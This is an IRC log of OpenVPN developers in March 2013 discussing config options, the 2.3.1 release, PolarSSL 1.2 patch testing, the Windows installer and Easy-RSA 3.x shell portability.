<@ecrist> it's be REALLY sweet if it was a awesome as tunnelblick. :) 12:25 <@dazo> ecrist: send me some screenshots how it works ... and I'll have a look at it :) 14:14 <@cron2> is there an include mechanism for ccd/ config files??? I have a gazillion files that are all "mostly the same" (10 lines of push stuff)... 14:15 <@dazo> cron2: use 'config <file>' 14:15 <@cron2> arrrh 14:16 <@cron2> dazo wins this round of "surprising options" :) 14:16 <@dazo> :) 14:26 <@ecrist> cron2: --config is a well-known option, I thought 14:26 <@cron2> well, yes, but it's not --config but "config" here :-) 14:27 <@ecrist> you can use the -- in the file, iirc 14:27 * cron2 never tried 14:31 <+pekster> When my needs get beyond fairly basic I end up gravitating to --client-connect scripts instead of ccd files 14:34 <@cron2> yeah, I could do that, and look up the static IP address assignments $somewhere... but for now, ccd files do the job (it's just about 30 or so, and with "config" I can get them down to 3 lines each) 14:37 <+pekster> Sure, all depends on other needs. Configs I work on often have reporting/firewalling duties tied (or at least the desire to support it for some clients) so I often end up designing setups to run everything out of --client-connect so it's in one place 14:38 <@cron2> I will eventually migrate there, to be able to run multiple server instances but still have static client IPs - routing the client IP "on demand" into the tunnel where it's connecting... 14:38 <@cron2> (unless plaisthos gets the multi-listen stuff done soon :-) - which I doubt a bit, after having read through multi.c and mtcp.c...) 14:41 <@dazo> http://xkcd.org/1185/ 14:41 <@vpnHelper> Title: xkcd: Ineffective Sorts (at xkcd.org) 14:48 -!- dazo is now known as dazo_afk 14:49 <+pekster> Ugh, JobInterviewQuicksort() looks too much like the crap I had to do in NSIS to get basic test working :P 14:50 <+pekster> At $oldjob I had 2 entire functions that were mostly composed of Push and Pop commands in order to get the right result :( 16:39 <@cron2> we'll never get iOS client 1.0.1 out... 16:40 <@cron2> every time James sends me something to test I think up another weird combination of options (... which I *do* use under some circumstances) that work "different" in the iOS client... and then he fixes this quickly, adding new features at the time, which I break again... 17:05 <@ecrist> lol 18:21 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Read error: Operation timed out] 19:09 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 248 seconds] 19:14 -!- Syzzer [~steffan@50709D8D.static.ziggozakelijk.nl] has quit [Read error: Operation timed out] 20:00 -!- raidz is now known as raidz_away 20:45 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn-devel --- Day changed Thu Mar 14 2013 00:08 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 00:09 -!- mode/#openvpn-devel [+o andj] by ChanServ 00:15 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Read error: Operation timed out] 01:18 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 276 seconds] 01:23 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 01:23 -!- mode/#openvpn-devel [+o andj] by ChanServ 02:11 -!- chantra [~chantra@unaffiliated/chantra] has joined #openvpn-devel 02:50 -!- jgeboski- [~jgeboski@unaffiliated/jgeboski] has joined #openvpn-devel 03:12 -!- jgeboski- is now known as jgeboski 03:54 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 252 seconds] 04:06 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 04:06 -!- mode/#openvpn-devel [+o andj] by ChanServ 04:47 -!- novaflash is now known as novaflash_away 04:47 -!- novaflash_away is now known as novaflash 05:25 <@plaisthos> cron2: --<ca> :p 05:25 <@plaisthos> cron2: I already have multi listen for tcp working :P 05:25 <@plaisthos> cron2: I just need to figure out the event_* stuff to get udp working 05:29 -!- dazo_afk is now known as dazo 05:34 <@cron2> plaisthos: you win this round in the obscure option contest ;-) 05:47 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 272 seconds] 06:02 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 06:02 -!- mode/#openvpn-devel [+o andj] by ChanServ 06:37 <@plaisthos> cron2: I hope there are no config out there really using --<ca> or something like that 06:37 <@plaisthos> my favorite of abusing openvpn options I have seen in the wild is 06:37 <@plaisthos> --pkcs12 [[INLINE]] base64_content as command line option :) 06:44 <@cron2> heh, that is amazing :) 07:54 -!- Syzzer [~steffan@50709D8D.static.ziggozakelijk.nl] has joined #openvpn-devel 10:08 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:08 -!- mode/#openvpn-devel [+o mattock] by ChanServ 10:08 <@mattock> when can release 2.3.1? 10:09 <@mattock> we should probably include the fix to --verb 4 / debug=false thingy 10:11 <@cron2> waiting for the polarssl patches 10:11 <@cron2> but of course we can decide to include the --verb 4 patch, and do the polarssl 1.2 stuff in 2.3.2 10:15 <@mattock> either one is good for me, I'm not in a hurry 10:16 <@mattock> I'd rather avoid building a new installer with debug=true if the problem will get fixed in 1-2 weeks anyways 10:16 <@mattock> i.e. we'd make a new release anyway 10:18 * cron2 goes commit-and-push stuff... 10:20 -!- raidz_away is now known as raidz 10:22 < Syzzer> on those polar patches, had a busy day at the office yesterday 10:23 < Syzzer> I've been looking at them right now, but having doubts on the TLS cipher name translations 10:23 <@cron2> James is the one to argue *that* point, but I can see why he wants that 10:24 < Syzzer> yes, I understand why he wants it 10:24 < Syzzer> definately for the data channel cipher names, as those are in lots of config files 10:35 <@mattock> dazo: any clue which virtio-win version is latest? 10:35 <@mattock> I got 1.1.16, but Fedora FTP "latest" directory contains 0.1-52 10:35 <@dazo> mattock: good question .... let me check 10:37 <@dazo> mattock: I believe this is the upstream place .... http://www.linux-kvm.org/page/WindowsGuestDrivers/Download_Drivers 10:37 <@vpnHelper> Title: WindowsGuestDrivers/Download Drivers - KVM (at www.linux-kvm.org) 10:37 <@dazo> Download is here: http://alt.fedoraproject.org/pub/alt/virtio-win/latest/images/bin/ 10:37 <@vpnHelper> Title: Index of /pub/alt/virtio-win/latest/images/bin (at alt.fedoraproject.org) 10:40 <@vpnHelper> RSS Update - testtrac: Fix parameter listing in non-debug builds at verb 4 <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=6c61d0dd339084175f6911d8b713faaf4967ca03> || Permit pool size of /64.../112 for ifconfig-ipv6-pool <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=704d9273b6e0e253b62eb728fddd5bbb02503eea> 10:42 <@cron2> mattock: unless one of the buildbot complains, I'm fine with releasing 2.3.1 "today" - or alternatively, wait for Syzzer to overcome his pains with the cipher renaming and merge that :-) 10:43 <@mattock> if the renaming could be taken care of before Thu next week, I'd prefer that 10:43 <@mattock> at least if that fix means we'd have to release 2.3.3 right after 10:44 <@mattock> dazo: it seems virtio-win Git repo does not use any (release) tags or anything 10:44 <@mattock> so I'm still a bit confused how 0.1-52 could be newer than 1.1.16 :D 10:46 <@mattock> 0.1-52 is 56 megs, 1.1.16 is 25 megs 10:46 <@mattock> interesting, let's see what happens 10:58 <@dazo> I honestly don't know ... I just know the drivers are from January 2013 :) 11:29 <@mattock> that's recent enough, and Win8 install didn't complain (yet) 12:32 <@mattock> openvpn-2.3.0-I005 works fine on Windows 8 pro 64-bit 12:32 <@mattock> just tested 13:09 <@cron2> cool 13:35 <@mattock> win8 is schitzopheric 13:35 <@mattock> phrenic 13:36 <@mattock> I can see that it could be quite nice on a tablet/phone, but on a laptop/desktop with huge screen? 13:36 <@mattock> does not compute 13:37 -!- raidz is now known as raidz_away 15:30 -!- raidz_away is now known as raidz 16:03 -!- dazo is now known as dazo_afk 19:35 -!- raidz is now known as raidz_away --- Day changed Fri Mar 15 2013 02:33 <@mattock> fun fact: if I try to launch openvpn-gui on Ubuntu 12.10 the first error message I get is in chinese 02:33 <@mattock> it refuses to launch 03:01 <@cron2> mattock: openvpn-gui is a windows application... just pointing out... 03:03 <@mattock> hahaha 03:03 <@mattock> I still wonder why it thinks I want the error message in chinese 03:03 <@mattock> I suppose that's the first option if the language is not autodetected or something 03:04 <@mattock> openvpn-gui.nsi more or less ready, now some testing and integration to openvpn-build 04:00 <@cron2> sounds cool - I think 2.3.1 will be a really good release, while 2.3.0 had quite some rough edges 04:38 <@mattock> if we release 2.3.1 next week, I think we can fit in the updated windows installer logic 04:38 <@mattock> that should fix a few bugs/annoyances and bring with it a host of others :D 04:40 <@cron2> well, I'd say "if the polar patches are there until monday, let's try to get them in, otherwise, release 2.3.1 as is" 04:45 <@mattock> ok, sounds good 05:04 < kisom> mattock: Would be cool if there was an option to not include the GUI ;) 05:04 <@mattock> kisom: hmm, isn't there? 05:04 < kisom> Well there are, but you still get a non-functioning desktop shortcut that doesn't lead to an executable 05:05 <@mattock> ah, yeah, that will get fixed with the separated installer 05:05 <@mattock> the gui installer won't get run if it's not checked 05:05 <@mattock> in openvpn installer, that is 05:05 < kisom> Separated installer? 05:06 <@mattock> yes, a separate installer for openvpn-gui, which gets run from openvpn installer 05:06 < kisom> Ah, cool 05:06 <@mattock> the same thing as with tap-windows driver 05:07 <@mattock> although that makes things somewhat more complicated, it also allows fixing some annoying bugs very cleanly 10:21 -!- raidz_away is now known as raidz 11:59 < Syzzer> hi all, I'll deliver the polarssl patches next monday 12:00 <@mattock> syzzer: excellent! 13:19 < kisom> Would be cool with some iOS retina graphics in OpenVPN too ;) 16:08 <+novaflash> yellow 16:32 -!- dazo_afk is now known as dazo 17:29 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Quit: I shouldn't have left....] 17:31 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 17:31 -!- mode/#openvpn-devel [+o raidz] by ChanServ 18:48 -!- dazo is now known as dazo_afk 19:13 -!- raidz is now known as raidz_away 21:05 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 256 seconds] 21:18 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 21:18 -!- mode/#openvpn-devel [+o andj] by ChanServ 21:40 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 255 seconds] 22:13 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 22:13 -!- mode/#openvpn-devel [+o andj] by ChanServ 23:15 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 245 seconds] 23:42 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 23:42 -!- mode/#openvpn-devel [+o andj] by ChanServ --- Day changed Sat Mar 16 2013 00:04 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 264 seconds] 00:40 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 00:40 -!- mode/#openvpn-devel [+o andj] by ChanServ 00:43 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Read error: Operation timed out] 00:45 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 00:46 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 00:46 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 00:46 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn-devel 07:10 -!- raidz_away [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 246 seconds] 11:05 -!- novaflash is now known as novaflash_away 11:11 -!- novaflash_away is now known as novaflash 12:43 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 264 seconds] 13:32 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 13:32 -!- mode/#openvpn-devel [+o raidz] by ChanServ 16:33 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 16:33 -!- mode/#openvpn-devel [+o andj] by ChanServ 18:51 <+pekster> So, I've been tinkering with how "generic" we really want the next-gen Easy-RSA code. As it stands now, the current 2.x implemetnation fails under heirloom-sh because you cannot use inline assignment with the export command. My prototype 3.x codebase currently uses that feature, command replacemenet (foo="$(command)") and local vars in funcs. However, if no one has complained about the export stuff in 2.x, it's probably not ... 18:51 <+pekster> ... important 18:52 <+pekster> The prototype shell code is available here, if anyone wanted to take a look. I'm interested in feedback about how far "back" we really intend to support. dash plays fine with the current code base, as should any shell besides heirloom-sh, I believe. My git project is here: https://github.com/QueuingKoala/easy-rsa 18:52 <@vpnHelper> Title: QueuingKoala/easy-rsa · GitHub (at github.com) --- Day changed Mon Mar 18 2013 03:18 <@cron2> moin 03:43 <@d12fk> back from sick leave, what did i miss? 04:01 <@mattock> d12fk: https://github.com/QueuingKoala/easy-rsa 04:01 <@vpnHelper> Title: QueuingKoala/easy-rsa · GitHub (at github.com) 04:01 <@mattock> I'll have to look at that at some point 04:02 <@d12fk> next-gen aha 04:03 <@d12fk> is that a fork or the one from ecrist 04:22 <@cron2> d12fk: you missed one of the more spectacular stdbool.h fall-outs :-) 04:24 <@d12fk> yeah just caught up on the ml 04:24 <@d12fk> pure terror 05:20 <@plaisthos> joys of c 05:27 -!- dazo_afk is now known as dazo 07:19 -!- novaflash is now known as novaflash_away 07:19 -!- novaflash_away is now known as novaflash 09:29 <@ecrist> what did I do? 09:30 <@ecrist> ah 09:30 <@ecrist> ugh 09:30 * ecrist doesn't like it 09:31 <@ecrist> one should not have to source vars - the script should do that automatically 09:35 <@dazo> ecrist++ 09:36 <@ecrist> pekster: it's a start, but a long ways to go 11:00 < Syzzer> good afternoon all 11:01 <@plaisthos> Syzzer: good afternoon 11:01 < Syzzer> I'm prepping to send the polar 1.2 patches, so prepare for some nasty cipher suite string transformation code ;) 11:02 <@cron2> we are not easily scared... 11:03 < Syzzer> good 11:26 * dazo runs 11:26 <@dazo> ;-) 11:30 <@cron2> dazo: don't run to your mailbox yet, it's not yet there 11:32 <@dazo> heh ... My interpretation is: The mailbox is still safe to be checked :-P 11:45 < Syzzer> I just sent the patches 11:45 * Syzzer runs 13:08 <@cron2> .oO(we have independent ciphers for data and control channel?) 13:18 <@dazo> yeah ... --cipher and --tls-cipher, iirc 13:19 <@dazo> --tls-cipher is controlling the PKI cipher, while --cipher controls the static encryption on the tunnel payload 13:26 <@cron2> fascinating 13:26 <@cron2> but that explains why --cipher is actually part of OCC and can be checked between client and server (and could be pushed, I think) 13:26 <@andj> yeah, there's --auth too for the data channel hmac 13:27 <@andj> evening btw, haven't said much recently... 13:30 <@cron2> andj: you could send an ack for the crypto side of things :) (yeah, conspiracy, and such, but still better than "just crypto noobs staring at the code") 13:30 <@andj> Joachim and I have already looked at the crypto 13:31 <@andj> and he's the real expert there :) 13:34 <@cron2> we need the ACK on the list, otherwise it does not exist... 13:34 <@cron2> and I really wish James would look at that and give his OK 13:35 <@andj> I'll do it tomorrow from my Fox account 13:35 <@andj> left my laptop at work :) 13:35 <@cron2> thanks 13:36 <@andj> I left work a little early today for an appointment, so I didn't have a chance to do it immediately 13:45 <@cron2> I'm fine with 2/5 and 3/5, even if printf("... %0x") is a bit weird, what's the "0" for? 13:46 <@cron2> 4/5 also looks good to me 13:47 <@cron2> 1/5 is "needs polar knowledge", 5/5 is "needs a bit more background on tls cipher naming" :-/ 13:48 <@andj> in 5/5 that long table was annoying, but there's not much else you can do there 13:53 <@cron2> mmmh, I think I can see what you're doing, just need to read the code a bit more closely (and assume that your table is correct, won't verify *that*) 13:53 <@andj> (all of this code is Syzzer's, and I think he's afk) :) 13:55 <@andj> But it's a little tricky, as you need to rewrite the list of allowed ciphers 14:47 < Syzzer> yup, was afk for diner, not back for a little while 14:48 <@cron2> ok, so what's "%0x"? 14:50 < Syzzer> always print byte values, so 0x04 instead of 0x4, iirc 14:50 <@cron2> ok, then I've learned something new today :-) - I know "%04x" (always do 4 digits with leading zeroes) but haven't run across %0x yet 14:51 <@andj> So have I, thanks :) 14:54 <@cron2> humm... I think this is a misinformation... neither perl on NetBSD nor Linux do it, nor gcc-compiled C on Linux 14:58 < Syzzer> hmm, I think you're right. Spec also states the 0 is ignored when no width specifier is supplied 15:00 <@cron2> bah, nothing learned today :-( 15:01 < Syzzer> but I did ;) 15:03 < Syzzer> one of the other things I learned today was the %.*s format specifier, used in 5/5. Already familiar with that one too? 15:22 <@plaisthos> %.*s? 15:22 <@plaisthos> cron2: 0x is zero padded hex 15:22 <@plaisthos> 0f instead of f 15:23 <@plaisthos> Syzzer: %02x should work 15:23 <@plaisthos> (for hex bytes) 15:29 <@dazo> but if you want 0x to be prefixed ... that needs to go before % .... 0x%02x ... 15:30 <@dazo> to be the prefix* 15:33 <@plaisthos> yes 15:33 <@plaisthos> I should read the chat more carefully 15:33 <@dazo> :) 15:49 -!- dazo is now known as dazo_afk 16:05 <@cron2> Syzzer: yes, I've used %.*s before, quite handy :-) 16:05 <+pekster> ecrist: Well, I want to force people to open/read/edit the vars file. I can have it automatically source it, although I think I want a big nasty warning if something like VARS_EDITED="yes" or such isn't set. People should explicitly choose what X509 field mode to use, and review the NS_SUPPORT deprecated stuff too :\ 16:06 <+pekster> I guess technically people no longer need to do any of that with the new 3.x model (removing all the org fields by default) but I want it to be a choice, not becucase they "skipped" the step and were surprised when it's all different than the old version with no location fields 17:32 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 256 seconds] 17:34 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 19:00 -!- raidz is now known as raidz_away --- Day changed Tue Mar 19 2013 01:29 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 02:17 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:17 -!- mode/#openvpn-devel [+o mattock_afk] by ChanServ 02:17 -!- mattock_afk is now known as mattock 02:26 -!- mattock is now known as mattock_afk 02:35 -!- mattock_afk is now known as mattock 05:37 -!- dazo_afk is now known as dazo 05:42 <@dazo> pekster: in the checked-in version of the vars file ... have the important variables set to "<CHANGE-ME>" or something like that ... and in the script check if these important vars are unchanged or not ... 05:42 <@vpnHelper> RSS Update - tickets: #267: Configuration: fragementation statements after connection profiles honored by mistake <https://community.openvpn.net/openvpn/ticket/267> 05:43 <+pekster> dazo: Yea. And actually, I'm thinking I can do away without vars completely "if the user really wants that" by doing IMPORTANT="${IMPORTANT:-default}" in the main code anyway 05:44 <@dazo> true 05:44 <+pekster> Maybe with a MUTE_VARS_WARN="no" or something early in the main code so "experts" can turn it off 05:45 <+pekster> Yea, it's on my todo list. I'm deeper than I want to be at this hour hunting down where exactly IPv6 fails to resolve the IP correctly when using --local. On the flip side, I'm getting better at using gdb :) 06:31 <@ecrist> pekster: upon first run, ssl-admin asks if the user has edited the file, then it sets an "install" file that contains simply a date string. if the install file exists, ssl-admin doesn't ask again 06:32 <@ecrist> we could do it in a similar fashion with easy-rsa 06:33 <+pekster> No need for another file though. CONFIGURED="yes" isn't that uncommon in other Unixy configs/programs 06:33 <+pekster> And really, with the new X509 design, the config file isn't strictly necessary either 06:34 <+pekster> Although I'd like to "heavily encourage" people to get rid of the dumb nsCertType stuff. Not sure how feasible that is since I'm not comfortable making it the default due to breakage potential with live configs people will no doubt try to use this for and expect it to work 06:34 <@ecrist> if the config file isn't needed, I see no point in forcing the user to set anything 06:35 <+pekster> The "defaults" work fine, although not if they want to change anything :) 06:36 <@ecrist> we could have an install message that indicates we no longer use nsCertType in 3.0, and if such support is needed, use 2.x branch, instead 06:36 <+pekster> So yea, auto-source and a simple warning would suffice. A big nasty warning if it's not present, maybe with some --expert flag or such to go "configless" might be nice too 06:36 <+pekster> Hmm, that's a possibility too. Have NS_SUPPORT=no by default, then spit a warning about it 06:36 <@ecrist> --expert, and allow EASYRSA_EXPERT in environment, as well 06:37 <+pekster> Yup 06:37 <@ecrist> that way, lazy fuckers like myself can simply set that in my .cshrc and be done with it 06:37 <@ecrist> :) 06:37 <+pekster> I did add a commented out sslCA nsCertType thing in the openssl.cnf file too, but it's commented out becuase that I *really* don't want anyone to touch (OpenVPN won't key off it, so I wanted to burry that one away a bit more.) 06:38 <+pekster> At least I managed to reduce the worthless line count of that file :) 06:40 <+pekster> Yea, I like the direction on the config file. fwiw heirloom-sh throws a hissy fit on even the Easy-RSA 2.x tree since it's not strictly bourne compliant either. I'm tempted to get some of this a bit more cleaned-up, then see if any "real world" config can break with it (shells, profiles, etc.) I learned that export foo="baz" is actually *not* bourne compliant, among other things taken for granted in my codebase 06:42 <+pekster> Then again, I'm not sure I want to fight to change it (some of it is non-trivial, like lack of local function variables. It's fixable, but makes the code longer and harder to follow flow.) I guess it depends on how important it is to support heirloom-sh or anyone "actually running" an original bourne shell. If that's all they have, I'm pretty sure it's safe to say they're not running OpenVPN :P 06:43 <+pekster> Do you have piles of hatemail on the subject? :) 06:45 <@ecrist> we do want easy-rsa as bourne compliant as possible. 06:46 <@ecrist> no piles of hatemail 06:46 <+pekster> Both my codebase and 2.x run fine in dash 06:46 <@ecrist> remember, I'm the biggest hater of easy-rsa 06:46 <+pekster> I suspect no one is actually using anything more basic than dash/ash 06:46 <+pekster> Well, despite your ire at the config stuff (I'll get that patched up soon-ish) the 3.x backend code is all new, and actual usable/modular/extensible :) 06:46 <+pekster> actually* 06:47 <@ecrist> I think *bsd's sh is about as rudimentary as we need to be - a lot of folks are going to use bash to run these 06:47 <+pekster> What's the interperter there? 06:47 <+pekster> ksh? csh? 06:47 <@ecrist> sh 06:47 <+pekster> Well, it can't be "original bourne" unless all *bsd's fail on 2.x as well 06:48 <@ecrist> but it's from 4.4 BSD, and there's only been minor updates/fixes, mostly security related 06:48 <@ecrist> *bsd run 2.x just fine 06:48 <@ecrist> mac os x uses bash 06:48 <+pekster> Right. So "not bourne" :) 06:49 <@ecrist> A sh command, the Thompson shell, appeared in Version 1 AT&T UNIX. It was superseded in Version 7 AT&T UNIX by the Bourne shell, which inher- ited the name sh. 06:49 <@ecrist> This version of sh was rewritten in 1989 under the BSD license after the Bourne shell from AT&T System V Release 4 UNIX. 06:50 <+pekster> Yea, the re-written part :) 06:50 <+pekster> http://paste.kde.org/699782/ 06:51 <@ecrist> neat 06:51 <+pekster> That's the "gold standard" if you want fully, actual, truely honest "bourne-complaince." After learning that, I decided that label sucked 06:51 <@ecrist> I'm happy with *bsd sh 06:51 <@ecrist> :) 06:54 <@ecrist> I'd like as many main-line OSes to be able to run easy-rsa out of the box, with as little extra depends as possible 06:54 <@ecrist> also, we need to look at polarssl support 06:55 <+pekster> Yup. Besides all the externals (currently just openssl, grep, and whatever pkcs11 stuff ends up being necessary - I don't have smartcards myself to test with) it's just the shell 06:55 <+pekster> I've even gone out of my way to use the echo built-in instead of cat where the latter would have been more convenient 06:55 <@ecrist> good 06:56 <+pekster> Makes the indenting scheme a little weird, but that's what a syntax-aware editor is for anyway 06:57 <+pekster> Oh, btw, no 'which' built-in in bourne-shells either :P 06:58 <+pekster> I'm doing without that now that we're not making supporting long-dead openssl versions a requirement either 06:58 <@ecrist> good 06:58 <+pekster> If anyone was expecting openssl-0.9.x to work, I want them to be very unpleasantly surprised 06:59 <+pekster> It would go well with OpenVPN 1.x :) 07:11 -!- dazo is now known as dazo_afk 07:20 -!- dazo_afk is now known as dazo 07:33 <@cron2> dazo: do you have time to build release/2.3 plus polar patches with openssl and with polar 1.2.5 and give it a good beating? 07:33 <@cron2> I'm good enough with the patches "as such", but I want this well tested (including interop polar<->openssl) before integrating, and I'm a bit short on time today 07:33 <@dazo> cron2: I can squeeze in that, yeah ... I'll pull down the latest stuff and run it locally 07:33 <@cron2> could do tomorrow 07:34 * dazo need to do some extra polar builds though 07:38 <+pekster> plaisthos: Thanks for the ACK on the --verb 4 fix. I didn't forget your request about warning when users enable debug verb levels with enable_debug=no either ;). I'm testing some code changes for that now, although what do you think makes the most sense? I've staged it while I test as >=6, which seems to mesh well with the flags I see in errlevel.h 07:52 <@dazo> man ... compiling polarssl 1.2.5 is a CPU and memory hog .... 08:00 <@dazo> cron2: have all the polarssl 1.2 patches been applied? 08:05 <@dazo> duh ... I see the commit log .... no polar patches 08:07 <@cron2> dazo: none of them, I want this tested before applying anything :-) (also syzzer wants to re-do patch 1) 08:07 <@dazo> Ahh! I see 08:07 <@dazo> Okay, I'll apply them locally and run some tests locally 08:07 <@cron2> thanks 08:07 <@dazo> I can reconnect my 3 VPNs today :) 08:07 <@cron2> I'll go and build Polar 1.2.5 on my FreeBSD machines... 08:08 <@dazo> I see 1.2.6 is out ... which solves lucky-13 08:08 <@dazo> not that important for us, I know ... but latest is latest :) 08:08 <@dazo> (even though I just built 1.2.5 locally ... as the src.rpm was not available for 1.2.6) 08:09 <@dazo> cron2: "breaking in between is no concern" .... until you start git bisect ;-) 08:10 <@dazo> (yeah, you have 'git bisect skip') 08:11 <@cron2> it's will not be completely broken, just blowfish won't work when called as "cipher BF-CBC" 08:11 <@dazo> yeah, even better :) 08:11 <@cron2> well, the default cipher setting will then blow up as "unknown", true 08:11 <@dazo> 'make test' yeah 08:12 * cron2 builds on fbsd74 with 1.2.6 08:14 <@dazo> Syzzer: I seem to have issues compiling your patches with --enable-pkcs11 .... 08:16 <@cron2> "that's why I wanted to test it first" :-) 08:16 <@cron2> does --enable-pkcs11 work without the patches but with --crypto=polar? 08:17 <@dazo> last time I did a build, yes ... 08:17 <@dazo> ssl_polarssl.h:69:5: error: expected specifier-qualifier-list before ‘pkcs11_context’ 08:17 <@cron2> o-kay, that's a "NAK!" to me :-) 08:18 <@dazo> yupp ... and 'make check' fails perfectly .... 08:18 <@dazo> FAIL: IPv4 ping test (3000 bytes) failed, but should succeed. 08:18 <@dazo> run IPv6 ping tests (want_ok), 64 byte packets... 08:18 <@dazo> FAIL: IPv6 ping test (64 bytes) failed, but should succeed. 08:18 <@dazo> run IPv6 ping tests (want_ok), 1440 byte packets... 08:18 <@dazo> (on all tests) 08:18 <@cron2> that is not good, but could be an indication of "fping is not installed" 08:18 <@cron2> mattock likes to do this :-) 08:19 <@dazo> ahh, on the remote servers? 08:19 <@cron2> no, locally 08:19 <@cron2> t_client.sh runs fping for the test, and only looks at the return code to check for error/no error - and "no fping" is "error" 08:19 <@dazo> I got it locally 08:19 <@dazo> it's my normal dev box :) 08:19 <@cron2> it could also be data layer cipher mismatch 08:19 * dazo suspects that ... will look at logs 08:20 <@dazo> Test sets succeded: none. 08:20 <@dazo> Test sets failed: 1 2 2a 3 4 5. 08:20 <@cron2> clear message :) 08:20 <@dazo> maybe we should equip fox-it with keying material for running these tests 08:21 <@cron2> happy to do so (and make a full featured t_client.rc file with all IP addresses etc) 08:21 <@cron2> andj: you're interested? 08:21 -!- mattock is now known as mattock_afk 08:21 <@dazo> Tue Mar 19 14:15:44 2013 WARNING: 'cipher' is used inconsistently, local='cipher BLOWFISH-CBC', remote='cipher BF-CBC' 08:23 <@cron2> mmmh. translation layer not applied in the right place, so that should also be fixed 08:23 <@cron2> but it *should* work 08:23 <@dazo> Tue Mar 19 14:16:08 2013 Authenticate/Decrypt packet error: cipher final failed 08:23 <@cron2> NAK 08:23 <@dazo> yupp 08:24 <@cron2> now the fun question: which bits are failing? The patches 2-5 all look sane, and 1 is needed for 1.2 - so is this an openvpn failure, or "inside polar"? 08:26 <@dazo> I can try to bisect it .... but won't be that easy without tweaking t_client.sh 08:26 <@dazo> (to use correct cipher 08:26 <@dazo> ) 08:28 <@cron2> yeah, but that's fairly easy to do - the basic openvpn call is assigned to a variable right at the top, just add "--cipher blowfish-cbc" there 08:28 <@dazo> yeah, I noticed now :) 08:28 * cron2 is lazy 08:32 <@cron2> oh... I can't even compile polar 1.2.6... it will run out of swap space on that box 08:33 <@dazo> polarssl builds really eats memory :) 08:34 <@cron2> fbsd74 box only has 256mb RAM + 512mb swap... not enough... 08:34 <@cron2> (it's a VM, so it can be upgraded, but normally it doesn't need more) 08:38 <@dazo> hmm ... compiling with patches, but openssl ... and it works ... 08:38 <@dazo> (expected, though) 08:46 <@dazo> okay, it fails even when just the first polar patch has been applied 08:47 <@dazo> Syzzer: I'd try to get mattock_afk or cron2 to arrange the needed keying material for you, so that you can enable the t_client.sh test .... as there are some issues here 08:48 <@cron2> on my TODO list 08:55 * cron2 wonders which library James uses on the iOS and Android client to get blowfish support 08:56 -!- mattock_afk is now known as mattock 08:56 <@cron2> (I know he uses Polar on iOS, but it's polar 1.1, which does not *have* blowfish yet...) 08:56 <@cron2> might be a more fundamental interop problem between polar/blowfish-cbc and openssl/bf-cbc, not related to the openvpn patches 08:57 <@dazo> yeah 08:59 -!- mattock is now known as mattock_afk 09:04 -!- mattock_afk is now known as mattock 09:46 < Syzzer> hi, just saw your email, reading up the channel now 09:46 < Syzzer> would definately like to be able to run t_client.sh tests 09:47 <@cron2> ho hum... for me the client-with-polar-1.2.6 does not reliably connect to an openssl tcp server at all - it connects, and as soon as the connection is established, it's reset again 09:48 <@cron2> Tue Mar 19 15:45:04 2013 Initialization Sequence Completed 09:48 <@cron2> Tue Mar 19 15:45:04 2013 Connection reset, restarting [0] 09:48 <@cron2> (which might be due to crypto failures on the server causing a TCP RST) 09:49 <@cron2> maybe unrelated, let me check again with a polar client and same server 09:49 <@cron2> sometimes "something in the network" changes and breaks the test setup... 09:50 < Syzzer> hmm, I did test the polarssl version against an openssl version (the one shipped with Ubuntu 12.04) 09:50 <@mattock> what do you guys think of having classic community meetings, say, every two weeks? 09:50 < Syzzer> those tests all passed for AES, no BF tests in our suite (yet) 09:50 <@mattock> or weekly, if there's enough stuff to discuss 09:50 <@mattock> I'd try to force James to participate 09:51 <@cron2> nah, it's polar related - same host, same openvpn call, same server works with openssl-openssl 09:51 <@cron2> syzzer: I'll build a set of keys and t_client.rc file for you 09:52 < Syzzer> cron2: thanks 10:00 <@cron2> mattock: +1 (ftr) 10:19 -!- andj__ [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 10:19 -!- mode/#openvpn-devel [+o andj__] by ChanServ 10:21 -!- Netsplit 